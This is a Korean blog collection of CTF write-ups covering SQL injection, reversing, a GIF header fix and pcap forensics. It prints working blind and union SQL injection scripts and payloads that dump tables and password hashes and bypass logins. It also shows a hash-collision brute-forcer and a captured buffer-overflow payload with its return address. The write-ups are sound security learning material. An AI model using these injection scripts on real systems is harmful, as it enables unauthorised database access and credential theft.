sqlite injection 문제.


import httplib,urllib;
 
# Blind SQL injection
ck = ""
referer = ""
 
# barking up the wrong tree --
 
# setting
#toget = "(SELECT password from users where name='root')"
#toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
#toget = "(SELECT count() from keys)"
#toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
toget = "(SELECT value FROM keys LIMIT 1 OFFSET 0)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
 
answer = ""
length=0
j = 1
k = 1
i = 0x7E
conn = httplib.HTTPConnection("babysfirst.shallweplayaga.me",8041)
conn.connect()
while j <= stage:
        if j is 1:
                query = "' or length("+toget+")="+str(k)+" -- "
        else:
                query = "' or substr("+toget+","+str(k)+",1) = '"+chr(i)+"' -- "
        val = urllib.urlencode({'username': query,'password':'1'})
        headers = { 'Accept':'text/html, application/xhtml+xml, */*', 'Content-type': 'application/x-www-form-urlencoded', 'Content-length': str(len(val)), 'Cookie': ck, 'Referer': referer, 'Accept-Language':'ko-KR','User-Agent':'User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; hello; Trident/6.0)'}
        params = urllib.urlencode({'id':query,'password':'abc'})
        conn.request('POST','/login',val,headers)
        response = conn.getresponse()
        data = response.read()
        if j is 1:
                print "now: "+str(k)
                if data.find('root') is not -1:
                        length = k
                        print "[+] Length: " + str(length)
                        print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                print "now: "+chr(i)
                if data.find('root') is not -1:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0x7E
                        if k > length:
                                break
                        else:
                                continue
                i = i-1
 
conn.close()
print data
print "Answer:" +answer


posted by tunz


http 헤더중 range에 관한 문제이다.


Range의 bytes=x-y로 범위를 조작해주면,


응답페이지중 x번째부터 y번째까지의 바이트만을 출력해준다.


import httplib,urllib;
 
conn = httplib.HTTPConnection("119.70.231.180",80)
conn.connect()
conn.putrequest('GET','/secret_memo.txt')
conn.putheader('Connection','keep-alive')
conn.putheader('Range','bytes=100000000-100005000')
conn.endheaders()
response = conn.getresponse()
data = response.read()
print data


posted by tunz

이번 plaid CTF 에서 가장 만만했던 문제는 web 150 charseet 문제밖에 없었다.


나머지는 탈탈탈 털렸다. 특히 64비트 elf 문제들.......


그 문제들과는 반대로 web 150문제는 너무 쉬워서 거의 바로 풀었던것 같다.


union sql injection 문제였는데, 취약점은 search를 하는부분에 있었다.


우선 로그인을 하고나서, search 부분에 들어간후, ' (따옴표) 를 삽입해보면 아래와 같은 에러가 뜬다.


Failed to query database: SELECT c.id, c.cname, DATE_FORMAT(c.lastedited, '%d %M %Y @ %H:%i') as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = 'y' AND c.template_id = st.id AND UPPER(c.cname) LIKE UPPER(''%') ORDER BY UPPER(c.cname), UPPER(c.cname) LIMIT 15 


붉은 부분에 내가 쓴 글자가 들어가는것을 확인했고, 대충 형식이 어떤 형식인지 파악했으므로, 바로 인젝션에 들어간다.


대충 해보니 필터링은 없는것 같아서 union을 사용했다.


컬럼의 갯수가 6개이니, 6개로 맞춰주고, database의 이름을 빼오기 위해 아래의 쿼리문을 넣어준다.


 ') union (select 'a',database(),'a','a','a','a') # 


하지만, 글자가 20개 제한이라서 그냥 넣지는 못하는데, 크롬의경우 F12를 눌러 개발자도구를 열고, maxlength=20을 검색해서, maxlength=1000으로 바꾸고 진행했다.


이렇게 database의 이름을 구하고, 차례대로 table들의 이름, column들의 이름을 구한다.



 ') union (select 'a',table_name,'a','a','a','a' from information_schema.tables where table_schema='charsheet' ) # 


 ') union (select 'a',column_name,'a','a','a','a' from information_schema.columns where table_name='characters' ) # 


전부 구하고나서는, 최후의 목적은 관리자의 캐릭터를 찾는것이므로, characters 테이블의 cname과 owner을 불러온다.



') union (select 'a',cname,owner,'a','a','a' from characters) #  


그러면 아래의 결과가 나오고, 그 결과가 정답이다.


Character NameLast EditedOwnerTemplateCampaign
r3al50ftwar3ftwadminaaa

posted by tunz
  • 2013.05.03 00:38

    비밀댓글입니다

    • 2013.05.03 10:35

      비밀댓글입니다

  • abe625 2013.05.04 00:21

    맨위 commnet남긴 사람인데요 ㅠㅠ 비밀댓글이라 안보이는데 어떻게 확인하나요?

    • tunz 2013.05.04 15:05 신고

      그렇군요 ㅋㅋㅋㅋㅋ 다시 쓸게요
      에러문을 보시면 LIKE UPPER (' 이부분에서 가로가 열립니다. 그래서 우선 닫아주고 나서 인젝션을 하는것이죠. 근데 나중에 다시보니 유니온도 필요없고 ') or 1=1 # 이렇게만 해도 답이 나오더라구요... 테이블이 똑같아서

  • cronos91 2013.05.08 22:21 신고

    정말 감사합니다~
    그런데 또 질문이있습니다 ㅠㅠsql injection 초보이다보니...ㅠㅠ
    제가 입력한 값이 LIKE UPPER에 들어가므로 ')이렇게 닫아주는 건 이해가가는데
    턴즈님께서 쓰신 쿼리문을 보니 ')이렇게 닫아주고 나서 union (select~~~~)이렇게 하셨는데
    union뒤에 ( 와 ) 가 쓰인 이유가 머죠??

    • tunz 2013.05.08 22:36 신고

      아 ㅎㅎ 그건 별거 아니에요.
      그냥 c언어에서 if (1=1 && 2=2) 를, if((1=1) && (2=2)) 이렇게 쓸수 있듯이, sql문을 쓸때 좀더 알아보기 쉽게 저런식으로 가로를 써주는 경우도 있습니다.
      안써도 제대로 작동해요.

  • cronos91 2013.05.08 23:52 신고

    아~ 정말 감사합니다~~~ㅎㅎ
    너무 친절하게 답변해주시네요 ㅠㅠ 정말 도움이 많이 됩니다.
    그런데 한가지 더 질문이 있습니다.
    혹시 webhacking.kr문제를 풀어보셨는지요
    그 문제중에 51번 문제를 보면 post방식으로 id와 pw값을 넘기는데 pw값이 md5에 전달인자에 true를 넣어줍니다.
    2013 codegate web 100 문제와 비슷한데요

    여기서 질문이있습니다.
    쿼리를 보면 select id from challenge_51_admin where id='$input_id' and pw='$input_pw'이렇게 생겼습니다.
    이때 admin으로 로그인으로 하면되는데요
    그러면 id입력값에 ' or id=admin#을 해주고 pw에는 아무값이나 넣어주면 주석처리에 의해 pw는 아무 영향을 주지않고 id=admin에 의해 로그인 되는거 아닌가요?? 근데 실제로는 안되네요 ㅠㅠ

    꼭 brute forcing을 하지않고 위에 쓴방법이 안되는 이유가 멀까요?? ㅠㅠ

    긴글 읽어주셔서 감사합니다.

    • tunz 2013.05.09 00:23 신고

      음 그러게요.. 소스만 보면 그렇게 한번 시도해볼만 하네요.
      저게 원본 소스가 아닐수도 있고,
      아니면 magic quotes라는 php설정이 있다고 알고 있는데, 이게 켜져있으면 따옴표를 넣었을때 자동으로 앞에 역슬래쉬를 넣어줘서 \' 가 되버리는데, 아마 이것때문인것 같네요.

  • cronos91 2013.05.09 22:06 신고

    혹시 webhacking.kr 2번 풀어보셨나요~??

    • tunz 2013.05.10 15:51 신고

      넵. 블라인드 인젝션 문제네요.

  • cronos91 2013.05.11 00:21 신고

    2번문제에서요
    쿠키 time부분에 injection을 해야하잖아요 혹시 어떤 쿼리문을 쓰셨나요??
    제 생각에 일단 컬럼명이 password이니깐
    참 and ascii(substr(passowrd,1,1))=97이런식으로 하려했는데 안되더라구요 머가문제인거죠??
    다른 문서를 찾아보니 and select ascii(substr(password,1,1)) from admin=97이런식으로 하던데...
    제가 생각했던 방법과의 차이점은 머고 머가 문제였던거죠??ㅠㅠ

    그냥 단순히 컬럼명만 쓰는경우와 테이블명과 select문까지 써야되는 경우의 차이가 머죠??

    • tunz 2013.05.11 02:09 신고

      좀 오래된거라 기억은 잘 안나지만,
      아마 같은 테이블이 아니라서 그럴겁니다.
      현재 쿼리문에서 불러오는 테이블이 admin테이블이 아니기 때문에,
      서브쿼리를 이용해서 "admin 테이블의 password"를 불러오는것이죠.

  • cronos91 2013.05.11 00:21 신고

    죄송합니다 제가 질문이 좀 많네요 ㅠㅠ
    webhacking.kr에
    50번 문제를 보면 id부분에 injection을 하고 #을 넣어서 pw를 md5로 암호화하는부분은 주석처리로 지우면 될것같은데요
    그럼 $id에 aaa or lv like 3#하면 될것같은데 안되네요 무엇이 문제인거죠??
    글쓰신거 보니 data값이 비어있어서 wrong을 출력한다는데 왜 data값이 빈거죠?
    혹시 db에 lv=3인것이 없어서 data값이 비어있는건가요?

    그리고

    **항상 궁금한건데 **
    $data=mysql_fetch_array(mysql_query("select lv from zmail_member where id='aaa' or lv=3)) 이렇게 입력하면
    db에서 zmail_member테이블을 뒤져서 lv=3인 것을 select하는 것인가요?
    아니면 db에 있던 없던간에 그냥 lv=3을 반환하는 것인가요??ㅠㅠ

    • tunz 2013.05.11 02:13 신고

      네 데이터에서 lv가 3인것을 찾아서 그 lv를 가져오는것입니다.
      그래서 없는경우에는 보통 union 같은걸 이용해서 있는척 하기도 하죠.

  • cronos91 2013.05.11 00:22 신고

    아! 또 55번문제에서 procedure analyse()#를 이용해
    pAsSw0RdzzzZ 칼럼명을 알아내서 이제 blind sql injection을 시도하려고 했는데요
    ?score=-1 or left(right(pAsSw0RdzzzZ,20,1))<0x7f 이렇게 하면 score=-1은 항상 거짓이고 이것을 or로 연결했으니
    left(right(pAsSw0RdzzzZ,20,1))<0x7f이 참이면 참에 해당하는 반응을 출력해야하는것 아닌가요??(pAsSw0RdzzzZ 문자열 길이=20)

    0x7f가 아스키코드값 제일 끝이니 항상 참인 반응을 출력해야되는데 왜 안될까요??
    제가 이해한부분중에 어느부분이 틀린지좀 설명부탁드려요~

    • tunz 2013.05.11 02:13 신고

      음 이건 잘 모르겠네요.
      문제도 기억이 안나고, 이렇게 해본적이 없어서

    • tunz 2013.05.11 12:08 신고

      지금 다시보니까right(left(pAsSw0RdzzzZ,x),1)

      이렇게 해야 맞는거같네요
      왼쪽에서 x개 가져오고 그중에서 오른쪽 1개

  • cronos91 2013.05.11 19:25 신고

    근데 제가 했던것 처럼
    left(right(pAsSORdzzzZ,x),1)해서 오른쪽에서 x개 가져와서 왼쪽 1개 가져와도 되지않나요??

    • tunz 2013.05.12 00:05 신고

      네 그렇게하셔도 상관없는데,
      위에 댓글 보시면 left(right(pAsSw0RdzzzZ,20,1)) 이렇게 써져있네요.
      left(right(pAsSw0RdzzzZ,20),1) 이렇게 해야될거에요

  • cronos91 2013.05.12 00:30 신고

    감사합니다~~~^^
    너무 친절하시네요 ㅎㅎ
    혹시 balt ctf 풀고있으시나요~?(gaem.baltctf.ru)
    web문제 있던데 한번 풀어보세요~
    풀고있는데 web문제 잘 안풀리네요 ㅠㅠ

    • tunz 2013.05.12 01:43 신고

      제가 지금 시험기간이라 ㅎㅎ 이번 대회는 참가안하려구요

  • cronos91 2013.05.12 00:42 신고

    어?그런데 55번 실제로해보니깐
    ?score=-1 or left(right(pAsSw0RdzzzZ,20),1)<0x7f
    이렇게 하면 error가 뜨네요... 아스키값중에 최대값이 0x7f라서 무조건 참이어야되는데 말이죠..
    그런데 또
    ?score=-1%20or%20left(right(pAsSw0RdzzzZ,20),1)<0x21은 되는데 <0x20은 또 안되고...

    왜그러죠ㅠㅠ

    • tunz 2013.05.12 01:43 신고

      ?? 이상한데요.. 전 잘 되는데요

  • cronos91 2013.05.12 13:20 신고

    이게 참일 경우 자신의 id와 점수를 뿌려주는거 아닌가요??
    거짓일 경우 id에 local host가 나오는거고...
    근데 0x7f보다 작다라고하면 local host를 뿌리는데 0x21보다 작다하면 왜 제 id와 점수를 뿌려줄까요ㅠ

    • tunz 2013.05.15 19:29 신고

      시험때문에 이제서야 봤네요.
      score=-1로 해뒀기때문에, 거짓이면 아무것도 안나오고
      어떤아이디던 나오면 참인게 맞는것 같습니다.

  • cronos91 2013.05.12 13:25 신고

    ?score=-1%20or%20left(right(pAsSw0RdzzzZ,20),1)=0x20을 하면 계속 참인 결과를 보여주네요

    right함수에서 20,19,18,17,....,1까지 모두 =0x20에서 참인 결과를 보여주는데 0x20은 space더군요

    그럼 정답이 다 스페이스인가요?? 먼가이상하네요ㅠ

  • cronos91 2013.05.12 13:27 신고

    아! 그리고 죄송한 부탁이지만...
    game.baltctf.ru에서 web100짜리좀 풀어보실수있으신가요~?ㅠㅠ
    컬럼명이나 테이블명좀 알아내려고 procedure analyse()#을 id부분에 아무리 입력해도 안되고
    그렇다고 union도 안통하네요 ㅠㅠ

    무례하지만 부탁드려요 ㅠㅠ
    항상 고맙습니다~^^

  • 2013.05.16 02:26

    비밀댓글입니다

    • tunz 2013.05.16 13:13 신고

      네 ㅋㅋㅋㅋ 저도 물어볼곳 없이 혼자서 공부해봐서 그 기분 알아요.
      우선 메일이 좋을것같네요
      cwhan.tunz@gmail.com입니다

이 문제는 if문과 rand를 이용한 문제


수학문제 4문제가 주어지고, 다 풀면 원래는 700점이 한계인데, 3000점을 넘어야한다.


처음엔 blind injection을 통해 숨겨진 문제를 찾는거라 생각했다.

그래서 시간을 좀 많이 소모했다.


근데 블라인드 인젝션을 힘겹게 해서 데이터를 다 보고나니, 포인트가 있는 문제는 그 4개가 전부였다.


그렇다면, 방법은 1,2,3,4번 문제를 여러번 풀어야 한다는 소리인데..


파라메터를 조작해서 인젝션을 하다보면, 정답에 + or 1 like 1 #만 붙이면 클리어가 뜨는걸 알수 있다.


첫번째 쿼리에서 이미 풀었는지 확인을 하고, 

두번째 쿼리에서 문제의 포인트를 불러오고,

세번째 쿼리에서 불러온 포인트를 이용해 업데이트 한다.


이렇게 추측했다.


그렇다면 첫번째 쿼리와 두번째 쿼리에서 다른 문제를 불러오도록 한다면 될거라 생각했다.

첫번째에선 안풀었던 문제 번호를 불러오거나 대충 5번 이상의 문제번호를 불러도 안풀었다고 생각한다.

그리고 두번째 쿼리에선 1~4번 문제의 포인트를 불러오게 해야한다.

이건, mysql의 랜덤 함수를 이용해서 할수있다.


if(랜덤값이 1일경우,1,5)

라고 문제에 넣게 되면, 1또는 5가 랜덤으로 배정되기때문에 일정 확률로 already clear가 안뜬다.


즉, auth.php?p=if((select cast(rand()*2 as signed))=1,1,5)&k=1+or+1+like+1+#


이런식으로 넣어주면 되었던것 같다... (정확히는 기억이...)


이렇게 몇번 반복해서 시도하면 3000점이 넘는다

posted by tunz

peid를 통해서, 혹은 그냥 프로그램을 바로 켜봐도 느낌상 C# 파일이라는것을 확인할수 있다.


그러므로, net reflector를 이용해서 디컴파일했다.


코드를 쭉 살펴보다보면, 우리에게 보여주는 중요한 string은 암호화 되어있고


xor과 AES encrypt로 되어있다는것을 알수있다.


blocksize가 0x100이므로, Rijndael 방식중에서도 256비트라는것을 알수있고,


key값은 9e2ea73295c7201c5ccd044477228527 이다.

iv값도 key값과 같은 값을 사용한다.


그리고 중요한점은, utf-8방식으로 해야한다는것이다.


그래서 온라인상에 있는 rijndael decrypt 페이지에서는 안되더라..


그래서 처음엔 python으로 진행하다가 나중에 php를 이용해서 디코딩했다..


[python] 먼저 xor 디코딩


c = [ 0x3f, 30, 0x39, 0x2f, 20, 0x4e, 50, 0x36, 0x33, 5, 0x25, 0x29, 0x52, 40, 0x45, 30, 0x2a, 0x38, 0x24, 0x49, 60, 0x44, 0x4f, 0x56, 0x18, 0x49, 0x4c, 0x13, 9, 0x1b, 0x2a, 4, 0x52, 0x2a, 0x1c, 0x56, 0x4f, 11, 0x11, 0x3f, 0x17, 14, 0x30, 0x40 ]


af = ""
i=0
while i< len(c):
        af += chr(c[i] ^ 0x25 ^ 0x58)
        i = i+1

print af


[php] aes decrypt


class Foo {
        protected $mcrypt_cipher = MCRYPT_RIJNDAEL_256;
        protected $mcrypt_mode = MCRYPT_MODE_CBC;

        public function decrypt($key, $iv, $encrypted)
        {
                $iv_utf = mb_convert_encoding($iv, 'UTF-8');
                return mcrypt_decrypt($this->mcrypt_cipher, $key, base64_decode($encrypted), $this->mcrypt_mode, $iv_utf);
        }
}



$encrypted = "BcDRi3OKNxXT/U8cWEY4A92+e41ntfWy/Wa+2vlBjsM=";
$key = "9e2ea73295c7201c5ccd044477228527";
$iv = "9e2ea73295c7201c5ccd044477228527";

$foo = new Foo;
echo $foo->decrypt($key, $iv, $encrypted);


posted by tunz

전형적인 블라인드 인젝션 문제다.


contact를 하는 부분(이름,메일,question,메세지 보내는 부분)에서 인젝션이 가능하다.


question 파라메터를 이용해서 블라인드 인젝션을 했다.


그러면 멤버들의 비밀번호가 md5로 해쉬 되어있는걸 확인할수 있고


사전식으로 online md5 decoding 페이지들을 이용해서 디코딩이 가능하다.


그리고 소스보기를 통해 보면, 자바스크립트가 숨겨져있고, 숨겨진 로그인페이지가 있다는걸 알수 있다


그리고 나서 하나씩 로그인해보면 Hound 해킹을 의뢰한 사람과 시간이 나타난다.


[python]

import httplib,urllib;
import sys
import time

# Blind SQL injection

# setting
#toget = 'database()';
#toget = "(SELECT password from `member` where id=0x666c617368)" #flash
#toget = "(SELECT password from `member` where id=0x7a6f64696163)" #zodiac
#toget = "(SELECT password from `member` where id=0x6c656f70617264)" #leopard
toget = "(SELECT password from `member` where id=0x766963746f72)" #victor
#toget = "(SELECT min(`id`) from `member` where id > 0x766963746f72)"
#toget = "(SELECT group_concat(message) FROM contact)"
#toget = "(SELECT column_name FROM information_schema.columns WHERE table_name=0x6d656d626572 and table_schema=0x7468655f67726579  LIMIT "+sys.argv[1]+",1)"
#toget = "(SELECT table_name FROM information_schema.tables WHERE table_schema=0x7468655f67726579 LIMIT "+sys.argv[1]+",1)"
stage = 2
ck = 'PHPSESSID=equncg53svlebb0ic8u9oouc34';
referer = 'http://58.229.122.17:2218/contact.php'

print "[*] Stage1: Find Length of " + toget

answer = ""
length=0
i = 0
j = 1
k = 1
m = 1
while j <= stage:
        if j is 1:
                query = "if(length("+toget+")= "+str(k)+",SLEEP(2),1)"
        else:
                query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1)=0x31,SLEEP(2),1) "
        val = urllib.urlencode({'question': query,'your_name':'a','your_email':'a@a.com','your_message':'a','contact_submitted':'send'})
        headers = { 'Accept':'text/html, application/xhtml+xml, */*', 'Content-type': 'application/x-www-form-urlencoded', 'Content-length': str(len(val)), 'Cookie': ck, 'Referer': referer, 'Accept-Language':'ko-KR','User-Agent':'User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; hello; Trident/6.0)'}
        conn = httplib.HTTPConnection("58.229.122.17",2218)
        t1 = time.time()
        conn.connect()
        conn.request('POST','/contact.php',val,headers)
        response = conn.getresponse()
        data = response.read()
        conn.close()
        t2 = time.time()
        if j is 1:
                print "now: "+str(k)
                if (t2-t1) > 2:
                        length = k
                        print "[+] Length: " + str(length)
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                k = k+1
        else:
                if (t2-t1) > 2:
                        i += pow(2,8-m)
                        print str(m)+" "+str(i)
                if m is 8:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0
                        m=1
                        if k > length:
                                break
                m = m+1

print "Answer:" +answer



posted by tunz
  • 2013.05.30 02:43

    비밀댓글입니다

    • tunz 2013.05.30 03:01 신고

      POST뿐만 아니라, GET방식일때도 urlencoding을 해줘야 합니다.
      예를 들어서, 보내고싶은 value에 만약 "=" 이나 "&" 이라는 문자가 들어가있어버리면,
      asdfadf=val 을 할때, asdfasdf=osdk&oasd=&alsd
      이런식으로 꼬여버릴수가 있어서 urlencoding을 꼭 해줘야합니다.

  • 2013.05.30 05:06

    비밀댓글입니다

    • tunz 2013.05.30 12:11 신고

      banking이요???
      banking은 데이터를 json형식으로 전송했고,
      이 경우는 application/x-www-form-urlencoded 형식으로 전송했기때문에 그렇습니다.

비밀번호 해쉬를 하는데 세번째 인자가 true이다.


raw 형식으로 hash를 한다는것을 알수있다.


예전에 wargame에서 풀어본 경험이 있는데.. 아마 webhacking.kr에 있었던 문제 같았다.


경험이 있으므로.. 쉽게 풀었는데


예전엔 md5로 해쉬를 했는데, 이번엔 좀 다른방법으로 해쉬를 한다.


그러므로 새로 php를 짰고, 'or' 이나 '||' 이 들어있는 해쉬를 하나씩 돌려서 찾아봤고,


결과를 하나씩 넣어보다 보니 로그인 성공

(숫자 몇이 성공이었는지는 정확히 기억이 안난다)


비밀번호를 찾는 코드


$i의 값이 비밀번호다.


$i=0;

echo "start\n";

for ($i=119335433; $i<1000000000; $i++)
{
        $bh = $i;
        //echo $bh." ";
        $hashed = hash("whirlpool",$bh,true);
        if (eregi("'or'",$hashed) || eregi("'||'",$hashed))
        {
                echo "\n";
                echo "Answer: ";
                echo $bh;
                echo "\n";
                echo $hashed;
                break;
        }
}
echo "Done\n".$i;


posted by tunz
  • qwerrr 2013.03.04 21:50

    안녕하세요 혹시 메일 알수있을까요? 헤헤~ chamdasol@naver.com 메일주세요~

문제파일:

저한테는 Binary 100 치고는 어려웠던 문제였습니다.


우선 PEID로 살펴보았습니다.

 



UPX로 패킹이 되어있네요.


IDA를 사용하기위해 우선 upx308w를 이용하여 언패킹을 하였습니다.




언패킹을 한후, 파일이름을 unpacked.exe로 바꾸고 작업하였습니다.



그냥 실행하면, "Ups, some calls are wrong or missing" 이라는 말만 하고는 끝납니다..




올리디버거로 그 부분을 찾아가보면,


[403790] 에 있는 값이 0이기때문에 아까와같은 메세지가 떴습니다.


억지로 flag를 보여주는곳으로 점프를 시켜봤자, "HoppaKey"가 뜰 뿐입니다.


하지만, 문제에서 답은 MD5로 주어진다고 했으므로, 이 "HoppaKey"는 답이 아닙니다.


그렇다면, [403790]의 값을 0이 아닌값으로 바꿔줘야 한다는것인데............


올리디버거만으로 풀어보려고 했으나, 너무 보기가 힘들어서, hex-ray의 도움을 구해보았습니다.




main의 수도코드를 살펴보니, 이렇습니다.


printf 윗부분을 저는 정확히는 이해를 못하겠지만, 함수포인터를 넘기고 있는것 같네요.


어찌됬든, 쓰이지않는 함수 5개가 있습니다. 주어졌으니 써야겠죠?


이제야, 아까 some calls are wrong or missing의 뜻이 이해가 되었습니다.


말 그대로 function call이 missing이 되었다는 거군요..


이제 그럼 function call을 집어넣어주면 되는데, 어떤 순서대로 집어넣을지가 또 문제입니다.


각각의 함수들의 수도코드를 살펴보겠습니다.








401400은 귀찮아서...... 생략하겠습니다.


각 함수들은 argument를 하나씩 받고 있고, 그 argument의 값을 조작하고 있습니다.


그러면 추측할수 있는것은, argument로 Key를 넘기고, 그 Key가 이 함수들을 거쳐가면서 점점 MD5의 형태를 갖춰갈 것으로 예상할 수 있습니다.


각각의 함수들을 분석해보겠습니다.


401000 :

- Key의 9~16번째에 있는 글자들을 조작합니다.


401060 :

- Key의 1~32번째에 있는 글자들을 조작합니다.


4011C0 :

- Key의 17~32번째에 있는 글자들을 조작합니다.

- Key가 16글자 이상이어야 작동합니다.

- 403790에 401400의 함수포인터를 넣습니다. (중요)


401370 :

- 뒤에서 8글자를 조작합니다.


여기서 4011C0의 함수를 보시면, 403790에 함수포인터를 집어넣습니다.

아까, JE의 조건이 403790이 비어있는가? 였는데,

이 과정이 실행된다면, 점프를 안할것입니다. 그러므로, 4011C0은 무조건 실행되어야하는 함수입니다.


근데 문제는 4011C0이 실행되기위해서는 Key가 16글자 이상이어야합니다. 하지만 처음 Key의 글자는 8글자입니다.

그렇다면, 다른 함수를 이용해서 Key를 16글자 이상으로 만들어야합니다.

그럴수있는 함수는 401000이 있습니다.


그러므로, 현재까지 알수있는 함수의 순서는

401000

4011C0

입니다.


그리고 401060은 알고리즘을 살펴보셔도 되고, 직접 실행하셔도 되는데, 해보시면

글자가 없을경우 '1'로 변환이 됩니다. 즉, HoppaKey를 예시로 변환해보면, ????????111111111111111111111111

이런식으로 변환이 되어버립니다.

즉, 변환전에 글자가 이미 32글자여야 할것 같다는 추측을 할수있으므로,


현재까지 알수있는 함수의 순서는

401000

4011C0

401060

입니다.


그리고 마지막으로 문제되는것은 401370인데, 이 함수는 어딜 들어가도 상관없는것처럼 보입니다.

이미 함수 3개의 순서를 알아냈으므로, 어디다 넣든 경우의수는 4밖에 안되므로, 그냥 브루트포스를 하기로 해봤습니다.


이제 올리디버거를 이용해, 점프를 하기전에 함수콜을 해보겠습니다.

자리가 부족한것같아서, 함수포인터를 넘기는 부분은 지워버리고 작업했습니다.



그리고 실행하면..




이와 같이 나오고, 이것이 답입니다.

posted by tunz

문제파일:

f07fa031f017ac5efd44c52b6962efd0.zip



아마 이번 대회에서 가장 쉬웠던 문제가 아닐까........... 합니다.


압축을 풀면



이와 같이 검은색의 이미지가 나옵니다.


이런 이미지문제는, 제 경험이 적어서 그런것일수도 있지만,


그림문제에서는 헤더 부분의 문제, 또는 다른 파일을 숨겨놓는 스테가노그래피. 두가지 경우밖에 생각이 나지 않았습니다.


그래서 헤더부분을 살펴보기위해 다른 GIF 파일을 그림판으로 만든후, 헤더부분을 하나씩 비교해가며 다른부분을 수정해보았습니다.


그중에 



이부분을, 



이렇게 바꾸자,



정답이 나오네요.


posted by tunz

먼저, 파일이 pcap 파일이라는것 정도는 간단히 알수 있으므로, 와이어샤크로 열어보았습니다.

 

그리고 쭉 내려보면 telnet이 많이 보이고,

오른쪽 클릭해서 'follow tcp stream'을 통해서 보면, 텔넷으로 원격접속을 한것을 알수있습니다.

 

그러면 우선 텔넷 패킷들만 필터링하기 위해서 filter에 "tcp.port == 23" 으로 패킷 필터링을 합니다.

 

그러면 대충 나오는 아이피가

 

10.10.60.173

10.10.60.102

10.10.60.64

10.10.60.90

 

정도가 나오고, 10.10.60.102가 서버 아이피라는것은 간단히 알수있습니다.

 

그중 10.10.60.64의 tcp stream을 살펴보면

 

 

.ackcat","\x40\x8a\xff\xbf\n"x.[C
.ackcat","\x40\x8a\xff\xbf\n"x4.[C
.ackcat","\x40\x8a\xff\xbf\n"x40]]';cat)|../../hello.....................[1P';cat)|../../hello.....................[1P';cat)|../../hello.....................[1P';cat)|../../hello.....................[1P';cat)|../../hello.....................[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[D..[C
.ackcat","
.ackcat",""\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\\"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\xx"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x000"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"
.ackcat","\x00""\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"xx"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x33"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x366"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x36,,"\x40\x8a\xff\xbf\n"';cat)|../../hello
.
.ackcat","\x00"x36,


iidd


uid=0(root) gid=501(blackcat) groups=501(blackcat)

llss


getenv.getenv.c

ccdd  ....


llss


gusals.minyoung  taekonryu  taekonryu.c  testt  testt.c

ccdd  ....


llss


hello  hello.c.key.txt  somedoby_helpme  temp

ccdd.^H.^Hcc.^H.. .. ... ... .. ... .. ... ... ..ccaatt  kkee.....yy..ttxxtt


W4rning_TongSo0!!

 

 

 

뒷부분에 이와 같이 나옵니다.

 

id 명령어를 치니, id가 0으로 나오므로, 루트권한을 획득한것을 알수있고.

 

cat key.txt를 쳤더니 W4rning_TongSo0!! 가 나왔죠.

그러므로 key값은 W4rning_TongSo0!! 입니다.

 

또 버퍼오버플로우를 시도한쪽을 살펴보면, "\x00"x36,,"\x40\x8a\xff\xbf\n "

가 나오죠.

BOF를 어느정도 공부한사람이라면 \x40\x8a\xff\xbf 가 리턴 어드레드라는것을 쉽게 알수있습니다.

 

이걸 정답에 쓰기위해 변환하면 0xbfff8a40 이 되겠죠.

 

또 마지막으로, sfp - buf의 어드레스값을 구하기 위해선, 텔넷 패킷 중간중간에 나오는 gdb 명령어의 결과를 살펴봐야합니다.

 

gdb의 disas main의 결과값을 보시면

 

그중에

 

 0x08048400 <main+24>:.lea    0xffffffb8(%ebp),%eax 

라는 결과가 strcpy에 앞서 있습니다.

 

AT&T 어셈블리에서는 ??(%ebp) 라고 되어있으면 ebp+??의 위치에 있다는뜻인데,

 

여기서는 마이너스이기때문에 0xffffffb8이 나왔습니다. 이걸 마이너스의 형태로 바꾸면, -0x48 (0x100000000 - 0xffffffb8)입니다.

 

즉, buf = ebp - 0x48 이라는것이죠.

 

문제에선 ebp - buf(sfp) 이므로, 정답은 0x48이 됩니다.

 

그러므로 정답은 10.10.60.64_0x48_W4rning_TongSo0!!_0xbfff8a40 입니다.

posted by tunz